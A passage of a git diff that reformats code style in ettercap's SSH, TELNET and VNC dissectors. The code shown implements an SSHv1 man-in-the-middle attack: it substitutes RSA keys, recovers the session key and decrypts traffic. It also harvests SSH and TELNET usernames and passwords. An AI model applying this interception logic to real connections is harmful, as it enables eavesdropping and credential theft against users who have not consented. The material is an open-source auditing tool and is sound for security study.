} /* Catch the version banner */ - PACKET->DISSECTOR.banner = strdup((const char*)PACKET->DATA.data); - + PACKET->DISSECTOR.banner = strdup((const char *)PACKET->DATA.data); + /* remove the \n */ - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\n')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.banner, '\n')) != NULL) *ptr = '\0'; - } + } } else { /* The session exists */ - session_data =(ssh_session_data *)s->data; + session_data = (ssh_session_data *)s->data; SAFE_FREE(ident); - + /* If we are ready to decrypt packets */ if (session_data->status == WAITING_ENCRYPTED_PCK) { u_char direction, *crypted_packet = NULL, *clear_packet = NULL; u_int32 data_len; - - /* Check what key and stream buffer we have to use */ - if(FROM_SERVER("ssh", PACKET)) + + /* Check what key and stream buffer we have to use */ + if (FROM_SERVER("ssh", PACKET)) direction = 0; else direction = 1; /* Add this packet to the stream */ streambuf_seq_add(&(session_data->data_buffer[direction]), PACKET); - + /* We are decrypting, so we'll arrange disp_data by our own */ PACKET->DATA.disp_len = 0; - + /* While there are packets to read from the stream */ - while(read_packet(&crypted_packet, &(session_data->data_buffer[direction])) == E_SUCCESS) { + while (read_packet(&crypted_packet, &(session_data->data_buffer[direction])) == E_SUCCESS) { ssh_len = pntol(crypted_packet); ssh_mod = 8 - (ssh_len % 8); @@ -219,15 +217,15 @@ FUNC_DECODER(dissector_ssh) } SAFE_CALLOC(clear_packet, ssh_len + ssh_mod, 1); - + /* Decrypt the packet (jumping over pck len) using correct key */ - if (session_data->decrypt) + if (session_data->decrypt) session_data->decrypt(crypted_packet + 4, clear_packet, ssh_len + ssh_mod, session_data->key_state[direction]); if (session_data->compression_status == COMPRESSION_ON) { - /* XXX Handle compressed packets */ + /* XXX Handle compressed packets */ } - + /* Catch packet type and slide to the data */ ptr = clear_packet + ssh_mod; ssh_packet_type = *ptr; @@ -240,56 +238,53 @@ FUNC_DECODER(dissector_ssh) /* USER */ if (ssh_packet_type == CMSG_USER) { DEBUG_MSG("\tDissector_ssh USER"); - /* User will always be NULL terminated + /* User will always be NULL terminated * (it's calloc'd MAX_USER_LEN + 1) */ - memcpy(session_data->user, ptr, (data_len>MAX_USER_LEN) ? MAX_USER_LEN : data_len); - - /* AUTH_PASSWORD */ + memcpy(session_data->user, ptr, (data_len > MAX_USER_LEN) ? MAX_USER_LEN : data_len); + + /* AUTH_PASSWORD */ } else if (ssh_packet_type == CMSG_AUTH_PASSWORD) { DEBUG_MSG("\tDissector_ssh PASS"); /* avoid bof */ if (data_len > MAX_USER_LEN) { - SAFE_FREE(clear_packet); + SAFE_FREE(clear_packet); SAFE_FREE(crypted_packet); return NULL; } if (data_len > 0) { - SAFE_CALLOC(PACKET->DISSECTOR.pass, data_len + 1, 1); + SAFE_CALLOC(PACKET->DISSECTOR.pass, data_len + 1, 1); memcpy(PACKET->DISSECTOR.pass, ptr, data_len); } else PACKET->DISSECTOR.pass = strdup("(empty)"); - - PACKET->DISSECTOR.user = strdup((const char*)session_data->user); /* Surely NULL terminated */ - DISSECT_MSG("SSH : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + PACKET->DISSECTOR.user = strdup((const char *)session_data->user); /* Surely NULL terminated */ + DISSECT_MSG("SSH : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); } else if (ssh_packet_type == CMSG_AUTH_RHOSTS) { DEBUG_MSG("\tDissector_ssh RHOSTS"); - PACKET->DISSECTOR.user = strdup((const char*)session_data->user); + PACKET->DISSECTOR.user = strdup((const char *)session_data->user); /* XXX Do we need to catch more infos from this kind of packet? */ PACKET->DISSECTOR.pass = strdup("RHOSTS-AUTH\n"); DISSECT_MSG("SSH : %s:%d -> USER: %s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); } else if (ssh_packet_type == CMSG_AUTH_RSA) { DEBUG_MSG("\tDissector_ssh RSA AUTH"); - PACKET->DISSECTOR.user = strdup((const char*)session_data->user); + PACKET->DISSECTOR.user = strdup((const char *)session_data->user); PACKET->DISSECTOR.pass = strdup("RSA-AUTH\n"); DISSECT_MSG("SSH : %s:%d -> USER: %s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); - + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); } else if (ssh_packet_type == CMSG_REQUEST_COMPRESSION) { - + session_data->compression_status = COMPRESSION_REQUEST; - } else if (session_data->compression_status == COMPRESSION_REQUEST) { - + if (ssh_packet_type == SMSG_SUCCESS) { session_data->compression_status = COMPRESSION_ON; /* XXX We should notify top half */ @@ -297,56 +292,57 @@ FUNC_DECODER(dissector_ssh) if (ssh_packet_type == SMSG_FAILURE) session_data->compression_status = NO_COMPRESSION; } - + /* These are readable packets so copy it in the DISPDATA */ - if ((ssh_packet_type>=CMSG_STDIN_DATA && ssh_packet_type<=SMSG_STDERR_DATA) || - ssh_packet_type == 4 || ssh_packet_type == 9) { + if ((ssh_packet_type >= CMSG_STDIN_DATA && ssh_packet_type <= SMSG_STDERR_DATA) || + ssh_packet_type == 4 || ssh_packet_type == 9) + { u_char *temp_disp_data; /* Avoid int overflow or bogus data_len (realloc is too optimistic) */ if ((PACKET->DATA.disp_len + data_len + 1 < PACKET->DATA.disp_len) || (data_len > ssh_len)) { - SAFE_FREE(clear_packet); + SAFE_FREE(clear_packet); SAFE_FREE(crypted_packet); return NULL; } - - /* Add this decrypted packet to the disp_data. + + /* Add this decrypted packet to the disp_data. * There can be more than one ssh packet in a tcp pck. - * We use a temp buffer to not feed top half with a null - * pointer to disp_data. + * We use a temp buffer to not feed top half with a null + * pointer to disp_data. */ temp_disp_data = (u_char *)realloc(PACKET->DATA.disp_data, PACKET->DATA.disp_len + data_len + 1); if (temp_disp_data == NULL) { - SAFE_FREE(clear_packet); + SAFE_FREE(clear_packet); SAFE_FREE(crypted_packet); return NULL; } PACKET->DATA.disp_data = temp_disp_data; - memcpy(PACKET->DATA.disp_data+PACKET->DATA.disp_len, ptr, data_len); + memcpy(PACKET->DATA.disp_data + PACKET->DATA.disp_len, ptr, data_len); PACKET->DATA.disp_len += data_len; } - SAFE_FREE(clear_packet); + SAFE_FREE(clear_packet); SAFE_FREE(crypted_packet); } - + /* We are no longer interested on key stuff */ return NULL; } - /* We are not ready to decrypt packets because + /* We are not ready to decrypt packets because * we are still waiting for some key stuff. */ /* We need the packet to be forwardable to mangle * key exchange. Otherwise wipe the session. */ - if(!(PACKET->flags & PO_FORWARDABLE)) { + if (!(PACKET->flags & PO_FORWARDABLE)) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_ssh)); return NULL; } - - /* Catch packet type and skip to data. + + /* Catch packet type and skip to data. * Doing this for client's cleartext * banner packet is safe too. */ @@ -356,40 +352,40 @@ FUNC_DECODER(dissector_ssh) ssh_packet_type = *ptr; ptr++; - if(FROM_SERVER("ssh", PACKET)) { /* Server Packets (Public Key) */ - + if (FROM_SERVER("ssh", PACKET)) { /* Server Packets (Public Key) */ + /* Enter if we are waiting for PublicKey packet. * Enter even if we are waiting for SessionKey: - * if the server sends the public key twice we have - * to replace both. - */ + * if the server sends the public key twice we have + * to replace both. + */ if ((session_data->status == WAITING_PUBLIC_KEY || session_data->status == WAITING_SESSION_KEY) && ssh_packet_type == SMSG_PUBLIC_KEY) { ssh_my_key **index_ssl; - u_int32 server_mod, host_mod, cypher_mask, my_mask=0; + u_int32 server_mod, host_mod, cypher_mask, my_mask = 0; BIGNUM *server_exp = NULL, *host_exp = NULL; - + /* Set the mask to 3DES or blowfish (if supported) */ cypher_mask = *(u_int32 *)(PACKET->DATA.data + PACKET->DATA.len - 12); cypher_mask = htonl(cypher_mask); - if (cypher_mask & (1<DATA.data + PACKET->DATA.len - 12) = htonl(my_mask); /* Remember where to put the key */ - ptr += 8; + ptr += 8; key_to_put = ptr; - + /* If it's the first time we catch the public key */ - if (session_data->ptrkey == NULL) { + if (session_data->ptrkey == NULL) { /* Initialize RSA key structures (other fileds are set to 0) */ session_data->serverkey = RSA_new(); #ifdef HAVE_OPAQUE_RSA_DSA_DH @@ -413,8 +409,8 @@ FUNC_DECODER(dissector_ssh) #endif /* Get the RSA Key from the packet */ - NS_GET32(server_mod,ptr); - if (ptr + (server_mod/8) > PACKET->DATA.data + PACKET->DATA.len) { + NS_GET32(server_mod, ptr); + if (ptr + (server_mod / 8) > PACKET->DATA.data + PACKET->DATA.len) { DEBUG_MSG("Dissector_ssh Bougs Server_Mod"); return NULL; } @@ -427,8 +423,8 @@ FUNC_DECODER(dissector_ssh) get_bn(session_data->serverkey->n, &ptr); #endif - NS_GET32(host_mod,ptr); - if (ptr + (host_mod/8) > PACKET->DATA.data + PACKET->DATA.len) { + NS_GET32(host_mod, ptr); + if (ptr + (host_mod / 8) > PACKET->DATA.data + PACKET->DATA.len) { DEBUG_MSG("Dissector_ssh Bougs Host_Mod"); return NULL; } @@ -444,7 +440,7 @@ FUNC_DECODER(dissector_ssh) #ifdef HAVE_OPAQUE_RSA_DSA_DH server_exp = s_e; - host_exp = h_e; + host_exp = h_e; #else BN_set_word(server_exp, *(session_data->serverkey->e->d)); BN_set_word(host_exp, *(session_data->hostkey->e->d)); @@ -452,11 +448,11 @@ FUNC_DECODER(dissector_ssh) /* Check if we already have a suitable RSA key to substitute */ index_ssl = &ssh_conn_key; - while(*index_ssl != NULL && - ((*index_ssl)->server_mod != server_mod || - (*index_ssl)->host_mod != host_mod || - (*index_ssl)->server_exp != server_exp || - (*index_ssl)->host_exp != host_exp)) + while (*index_ssl != NULL && + ((*index_ssl)->server_mod != server_mod || + (*index_ssl)->host_mod != host_mod || + (*index_ssl)->server_exp != server_exp || + (*index_ssl)->host_exp != host_exp)) index_ssl = (ssh_my_key **)&((*index_ssl)->next); /* ...otherwise generate it */ @@ -466,14 +462,16 @@ FUNC_DECODER(dissector_ssh) /* Generate the new key */ (*index_ssl)->myserverkey = RSA_new(); if (!RSA_generate_key_ex((*index_ssl)->myserverkey, - server_mod, server_exp, NULL)) { + server_mod, server_exp, NULL)) + { RSA_free((*index_ssl)->myserverkey); SAFE_FREE(*index_ssl); return NULL; } (*index_ssl)->myhostkey = RSA_new(); if (!RSA_generate_key_ex((*index_ssl)->myhostkey, - host_mod, host_exp, NULL)) { + host_mod, host_exp, NULL)) + { RSA_free((*index_ssl)->myhostkey); SAFE_FREE(*index_ssl); return NULL; @@ -481,16 +479,16 @@ FUNC_DECODER(dissector_ssh) (*index_ssl)->server_mod = server_mod; (*index_ssl)->host_mod = host_mod; (*index_ssl)->server_exp = server_exp; - (*index_ssl)->host_exp = host_exp; + (*index_ssl)->host_exp = host_exp; (*index_ssl)->next = NULL; } - + /* Assign the key to the session */ session_data->ptrkey = *index_ssl; } /* Put our RSA key in the packet */ - key_to_put+=4; + key_to_put += 4; #ifdef HAVE_OPAQUE_RSA_DSA_DH RSA_get0_key(session_data->ptrkey->myserverkey, &m_s_n, &m_s_e, &m_s_d); @@ -500,7 +498,7 @@ FUNC_DECODER(dissector_ssh) put_bn(session_data->ptrkey->myserverkey->e, &key_to_put); put_bn(session_data->ptrkey->myserverkey->n, &key_to_put); #endif - key_to_put+=4; + key_to_put += 4; #ifdef HAVE_OPAQUE_RSA_DSA_DH RSA_get0_key(session_data->ptrkey->myhostkey, &m_h_n, &m_h_e, &m_h_d); @@ -512,15 +510,15 @@ FUNC_DECODER(dissector_ssh) #endif /* Recalculate SSH crc */ - *(u_int32 *)(PACKET->DATA.data + PACKET->DATA.len - 4) = htonl(CRC_checksum(PACKET->DATA.data+4, PACKET->DATA.len-8, CRC_INIT_ZERO)); - - PACKET->flags |= PO_MODIFIED; + *(u_int32 *)(PACKET->DATA.data + PACKET->DATA.len - 4) = htonl(CRC_checksum(PACKET->DATA.data + 4, PACKET->DATA.len - 8, CRC_INIT_ZERO)); + + PACKET->flags |= PO_MODIFIED; session_data->status = WAITING_SESSION_KEY; - } + } } else { /* Client Packets */ if (session_data->status == WAITING_CLIENT_BANNER) { /* Client Banner */ - if (!memcmp(PACKET->DATA.data,"SSH-2",5)) { + if (!memcmp(PACKET->DATA.data, "SSH-2", 5)) { DEBUG_MSG("Dissector_ssh SSHv2"); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_ssh)); } else @@ -538,9 +536,9 @@ FUNC_DECODER(dissector_ssh) dissect_wipe_session(PACKET, DISSECT_CODE(dissector_ssh)); return NULL; } - + memcpy(cookie, ++ptr, 8); - ptr += 8; + ptr += 8; key_to_put = ptr; /* Calculate real session id and our fake session id */ @@ -553,9 +551,9 @@ FUNC_DECODER(dissector_ssh) memcpy(session_id1, temp_session_id, 16); #ifdef HAVE_OPAQUE_RSA_DSA_DH - temp_session_id=ssh_session_id(cookie, m_h_n, m_s_n); + temp_session_id = ssh_session_id(cookie, m_h_n, m_s_n); #else - temp_session_id=ssh_session_id(cookie, session_data->ptrkey->myhostkey->n, session_data->ptrkey->myserverkey->n); + temp_session_id = ssh_session_id(cookie, session_data->ptrkey->myhostkey->n, session_data->ptrkey->myserverkey->n); #endif if (temp_session_id) @@ -572,11 +570,11 @@ FUNC_DECODER(dissector_ssh) #else if (BN_cmp(session_data->ptrkey->myserverkey->n, session_data->ptrkey->myhostkey->n) > 0) { #endif - rsa_private_decrypt(enckey, enckey, session_data->ptrkey->myserverkey); - rsa_private_decrypt(enckey, enckey, session_data->ptrkey->myhostkey); + rsa_private_decrypt(enckey, enckey, session_data->ptrkey->myserverkey); + rsa_private_decrypt(enckey, enckey, session_data->ptrkey->myhostkey); } else { - rsa_private_decrypt(enckey, enckey, session_data->ptrkey->myhostkey); - rsa_private_decrypt(enckey, enckey, session_data->ptrkey->myserverkey); + rsa_private_decrypt(enckey, enckey, session_data->ptrkey->myhostkey); + rsa_private_decrypt(enckey, enckey, session_data->ptrkey->myserverkey); } BN_mask_bits(enckey, sizeof(sesskey) * 8); @@ -586,7 +584,7 @@ FUNC_DECODER(dissector_ssh) BN_clear_free(enckey); for (i = 0; i < 16; i++) - sesskey[i] ^= session_id2[i]; + sesskey[i] ^= session_id2[i]; /* Save SessionKey */ if (cypher == SSH_CIPHER_3DES) { @@ -598,17 +596,17 @@ FUNC_DECODER(dissector_ssh) session_data->key_state[1] = blowfish_init(sesskey, sizeof(sesskey)); session_data->decrypt = blowfish_decrypt; } - + /* Re-encrypt SessionKey with the real RSA key */ bn = BN_new(); BN_set_word(bn, 0); - for (i = 0; i < sizeof(sesskey); i++) { - BN_lshift(bn, bn, 8); - if (i < 16) - BN_add_word(bn, sesskey[i] ^ session_id1[i]); - else - BN_add_word(bn, sesskey[i]); + for (i = 0; i < sizeof(sesskey); i++) { + BN_lshift(bn, bn, 8); + if (i < 16) + BN_add_word(bn, sesskey[i] ^ session_id1[i]); + else + BN_add_word(bn, sesskey[i]); } #ifdef HAVE_OPAQUE_RSA_DSA_DH @@ -632,51 +630,51 @@ FUNC_DECODER(dissector_ssh) BN_clear_free(bn); /* Re-calculate SSH crc */ - *(u_int32 *)(PACKET->DATA.data + PACKET->DATA.len - 4) = htonl(CRC_checksum(PACKET->DATA.data+4, PACKET->DATA.len-8, CRC_INIT_ZERO)); + *(u_int32 *)(PACKET->DATA.data + PACKET->DATA.len - 4) = htonl(CRC_checksum(PACKET->DATA.data + 4, PACKET->DATA.len - 8, CRC_INIT_ZERO)); - /* XXX Here we should notify the top half that the - * connection is decrypted + /* XXX Here we should notify the top half that the + * connection is decrypted */ /* Initialize the stream buffers for decryption */ - streambuf_init(&(session_data->data_buffer[0])); + streambuf_init(&(session_data->data_buffer[0])); streambuf_init(&(session_data->data_buffer[1])); - - PACKET->flags |= PO_MODIFIED; + + PACKET->flags |= PO_MODIFIED; session_data->status = WAITING_ENCRYPTED_PCK; - } + } } } - + return NULL; -} +} -/* Read a crypted packet from the stream. +/* Read a crypted packet from the stream. * The buffer is dynamically allocated, so * calling function has to free it. */ static int32 read_packet(u_char **buffer, struct stream_buf *dbuf) { int32 length, mod; - + /* Read packet length and calculate modulus */ if (streambuf_read(dbuf, (u_char *)&length, 4, STREAM_ATOMIC) == -E_INVALID) return -E_INVALID; - length = ntohl(length); + length = ntohl(length); mod = 8 - (length % 8); - /* Allocate the buffer and read the whole packet - * SAFE_CALLOC is not good to handle errors. + /* Allocate the buffer and read the whole packet + * SAFE_CALLOC is not good to handle errors. */ *buffer = (u_char *)malloc(length + mod + 4); if (*buffer == NULL) return -E_INVALID; - + if (streambuf_get(dbuf, *buffer, length + mod + 4, STREAM_ATOMIC) == -E_INVALID) { SAFE_FREE(*buffer); return -E_INVALID; } - + return E_SUCCESS; } @@ -701,7 +699,7 @@ static void *des3_init(u_char *sesskey, int len) memset(state->iv2, 0, 8); memset(state->iv3, 0, 8); - return (state); + return state; } static void des3_decrypt(u_char *src, u_char *dst, int len, void *state) @@ -719,12 +717,16 @@ static void des3_decrypt(u_char *src, u_char *dst, int len, void *state) static void swap_bytes(const u_char *src, u_char *dst, int n) { char c[4]; - + for (n = n / 4; n > 0; n--) { - c[3] = *src++; c[2] = *src++; - c[1] = *src++; c[0] = *src++; - *dst++ = c[0]; *dst++ = c[1]; - *dst++ = c[2]; *dst++ = c[3]; + c[3] = *src++; + c[2] = *src++; + c[1] = *src++; + c[0] = *src++; + *dst++ = c[0]; + *dst++ = c[1]; + *dst++ = c[2]; + *dst++ = c[3]; } } @@ -737,10 +739,9 @@ static void *blowfish_init(u_char *sesskey, int len) return NULL; BF_set_key(&state->key, len, sesskey); memset(state->iv, 0, 8); - return (state); + return state; } - static void blowfish_decrypt(u_char *src, u_char *dst, int len, void *state) { struct blowfish_state *dstate; @@ -757,7 +758,7 @@ static void put_bn(BIGNUM *bn, u_char **pp) i = BN_num_bits(bn); NS_PUT16(i, *pp); - *pp+=BN_bn2bin(bn, *pp); + *pp += BN_bn2bin(bn, *pp); } static void get_bn(BIGNUM *bn, u_char **pp) @@ -780,7 +781,7 @@ static u_char *ssh_session_id(u_char *cookie, BIGNUM *hostkey_n, BIGNUM *serverk j = BN_num_bytes(serverkey_n); if ((p = malloc(i + j + 8)) == NULL) - return (NULL); + return NULL; BN_bn2bin(hostkey_n, p); BN_bn2bin(serverkey_n, p + i); @@ -789,7 +790,7 @@ static u_char *ssh_session_id(u_char *cookie, BIGNUM *hostkey_n, BIGNUM *serverk MD5(p, i + j + 8, sessid); free(p); - return (sessid); + return sessid; } static void rsa_public_encrypt(BIGNUM *out, BIGNUM *in, RSA *key) diff --git a/src/dissectors/ec_telnet.c b/src/dissectors/ec_telnet.c index cbf97b33c..6e993d0d7 100644 --- a/src/dissectors/ec_telnet.c +++ b/src/dissectors/ec_telnet.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector TELNET -- TCP 23 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector TELNET -- TCP 23 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -48,7 +48,7 @@ void __init telnet_init(void) /* * telnet sends characters one per packet, - * so we have to make sessions to collect + * so we have to make sessions to collect * the string among the packet stram. * * the telnet collector collects user and pass only if @@ -66,10 +66,10 @@ FUNC_DECODER(dissector_telnet) char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* the connection is starting... create the session */ CREATE_SESSION_ON_SYN_ACK("telnet", s, dissector_telnet); CREATE_SESSION_ON_SYN_ACK("telnets", s, dissector_telnet); @@ -77,10 +77,10 @@ FUNC_DECODER(dissector_telnet) /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + /* skip the telnet commands, we are interested only in readable data */ skip_telnet_command(&ptr, end); - + /* the packet was made only by commands, skip it */ if (ptr >= end) return NULL; @@ -89,21 +89,21 @@ FUNC_DECODER(dissector_telnet) /* search if there are 0x00 char and covert them to spaces. * some OS (BSDI) send zeroes into the packet, so we cant use - * string functions + * string functions */ convert_zeros(ptr, end); - + /* create an ident to retrieve the session */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_telnet)); - + /* is the message from the server or the client ? */ if (FROM_SERVER("telnet", PACKET) || FROM_SERVER("telnets", PACKET)) { - + /* start the collecting process when a "reserved" word is seen */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { - if (match_login_regex((const char*)ptr)) { + if (match_login_regex((const char *)ptr)) { DEBUG_MSG("\tdissector_telnet - BEGIN"); - + /* create the session to begin the collection */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_telnet)); /* use this value to remember to not collect the banner again */ @@ -114,29 +114,29 @@ FUNC_DECODER(dissector_telnet) } } } else { - + /* retrieve the session */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { /* sanity check */ if (s->data == NULL) return NULL; - + /* if the collecting process has to be initiated */ if (!strcmp(s->data, "\xe7\x7e")) { - + /* the characters are not printable, skip them */ if (!isprint((int)*ptr)) { SAFE_FREE(ident); return NULL; } - + DEBUG_MSG("\tdissector_telnet - FIRST CHAR"); /* save the first packet */ - s->data = strdup((const char*)ptr); - - /* collect the subsequent packets */ + s->data = strdup((const char *)ptr); + + /* collect the subsequent packets */ } else { size_t i, stringlen; u_char *p; @@ -145,54 +145,54 @@ FUNC_DECODER(dissector_telnet) memset(str, 0, sizeof(str)); /* concat the char to the previous one */ - snprintf((char*)str, strlen(s->data) + PACKET->DATA.disp_len + 2, "%s%s", (char *)s->data, ptr); - + snprintf((char *)str, strlen(s->data) + PACKET->DATA.disp_len + 2, "%s%s", (char *)s->data, ptr); + /* parse the string for backspaces and erase as wanted */ - stringlen = strlen((const char*)str); + stringlen = strlen((const char *)str); for (p = str, i = 0; i < stringlen; i++) { if (str[i] == '\b' || str[i] == 0x7f) { p--; } else { *p = str[i]; - p++; + p++; } } *p = '\0'; /* save the new string */ SAFE_FREE(s->data); - p = s->data = strdup((const char*)str); - + p = s->data = strdup((const char *)str); + /* terminate the string at \n */ - if ((p = (u_char*)strchr(s->data, '\n')) != NULL) + if ((p = (u_char *)strchr(s->data, '\n')) != NULL) *p = '\0'; - - /* + + /* * the user input is terminated * check if it was the password by checking * the presence of \r in the string * we store "user\rpass\r" and then we split it */ - if (strchr((const char*)ptr, '\r') || strchr((const char*)ptr, '\n')) { + if (strchr((const char *)ptr, '\r') || strchr((const char *)ptr, '\n')) { /* there is the \r and it is not the last char */ - if ( ((ptr = (u_char*)strchr(s->data, '\r')) || (ptr = (u_char*)strchr(s->data, '\n'))) - && ptr != s->data + strlen(s->data) - 1 ) { + if (((ptr = (u_char *)strchr(s->data, '\r')) || (ptr = (u_char *)strchr(s->data, '\n'))) + && ptr != s->data + strlen(s->data) - 1) + { /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.user, '\r')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.user, '\r')) != NULL) *ptr = '\0'; - - PACKET->DISSECTOR.pass = strdup((const char*)ptr + 1); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + + PACKET->DISSECTOR.pass = strdup((const char *)ptr + 1); + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; - - + /* display the message */ DISSECT_MSG("TELNET : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); /* delete the session to stop the collection */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_telnet)); @@ -203,7 +203,7 @@ FUNC_DECODER(dissector_telnet) } } } - + /* delete the ident */ SAFE_FREE(ident); @@ -211,17 +211,17 @@ FUNC_DECODER(dissector_telnet) IF_FIRST_PACKET_FROM_SERVER_SSL("telnet", "telnets", s, ident, dissector_telnet) { size_t i; u_char *q; - + DEBUG_MSG("\tdissector_telnet BANNER"); - + /* get the banner */ SAFE_CALLOC(PACKET->DISSECTOR.banner, PACKET->DATA.len + 1, sizeof(char)); - if ( end > ptr && (u_int32)(end - ptr) <= PACKET->DATA.len) /* Paranoid check */ - memcpy(PACKET->DISSECTOR.banner, ptr, end - ptr ); + if (end > ptr && (u_int32)(end - ptr) <= PACKET->DATA.len) /* Paranoid check */ + memcpy(PACKET->DISSECTOR.banner, ptr, end - ptr); - q = (u_char*)PACKET->DISSECTOR.banner; + q = (u_char *)PACKET->DISSECTOR.banner; for (i = 0; i < PACKET->DATA.len; i++) { - /* replace \r\n with spaces */ + /* replace \r\n with spaces */ if (q[i] == '\r' || q[i] == '\n') q[i] = ' '; /* replace command with end of string */ @@ -240,13 +240,13 @@ FUNC_DECODER(dissector_telnet) return NULL; } - /* + /* * some OS (e.g. windows and ipso) send the "login:" in the * same packet as the banner... */ - if (match_login_regex((const char*)ptr)) { + if (match_login_regex((const char *)ptr)) { DEBUG_MSG("\tdissector_telnet - BEGIN"); - + /* create the session to begin the collection */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_telnet)); /* use this value to remember to not collect the banner again */ @@ -255,9 +255,8 @@ FUNC_DECODER(dissector_telnet) return NULL; } + } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident); - } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident); - return NULL; } @@ -266,35 +265,35 @@ FUNC_DECODER(dissector_telnet) */ static void skip_telnet_command(u_char **ptr, u_char *end) { - while(**ptr == 0xff && *ptr < end) { + while (**ptr == 0xff && *ptr < end) { /* sub option 0xff 0xfa ... ... 0xff 0xf0 */ if (*(*ptr + 1) == 0xfa) { *ptr += 1; /* search the sub-option end (0xff 0xf0) */ do { *ptr += 1; - } while(**ptr != 0xff && *ptr < end); + } while (**ptr != 0xff && *ptr < end); /* skip the sub-option end */ *ptr += 2; } else { - /* normal option 0xff 0xXX 0xXX */ + /* normal option 0xff 0xXX 0xXX */ *ptr += 3; } } } -/* +/* * convert 0x00 char into spaces (0x20) so we can * use str*() functions on the buffer... */ static void convert_zeros(u_char *ptr, u_char *end) { - /* + /* * walk the entire buffer, but skip the last * char, if it is 0x00 it is actually the string * terminator */ - while(ptr < end - 1) { + while (ptr < end - 1) { if (*ptr == 0x00) { DEBUG_MSG("\tdissector_telnet ZERO converted"); /* convert the char to a space */ @@ -304,34 +303,33 @@ static void convert_zeros(u_char *ptr, u_char *end) } } -/* +/* * serach the strings which can identify failed login... * return 1 on succes, 0 on failure */ static int match_login_regex(const char *ptr) { - char *words[] = {"incorrect", "failed", "failure", NULL }; + char *words[] = { "incorrect", "failed", "failure", NULL }; int i = 0; - - /* + + /* * "login:" is a special case, we have to take care * of messages from the server, they can contain login: * even if it is not the login prompt */ - if ((strcasestr(ptr, "login:") || strcasestr(ptr, "username:") ) - && !strcasestr(ptr, "last") && !strcasestr(ptr, "from")) + if ((strcasestr(ptr, "login:") || strcasestr(ptr, "username:")) + && !strcasestr(ptr, "last") && !strcasestr(ptr, "from")) return 1; - - /* search for keywords */ + + /* search for keywords */ do { if (strcasestr(ptr, words[i])) return 1; } while (words[++i] != NULL); - + return 0; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_vnc.c b/src/dissectors/ec_vnc.c index 238f67335..58489b5e7 100644 --- a/src/dissectors/ec_vnc.c +++ b/src/dissectors/ec_vnc.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector VNC -- TCP 5900 5901 5902 5903 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector VNC -- TCP 5900 5901 5902 5903 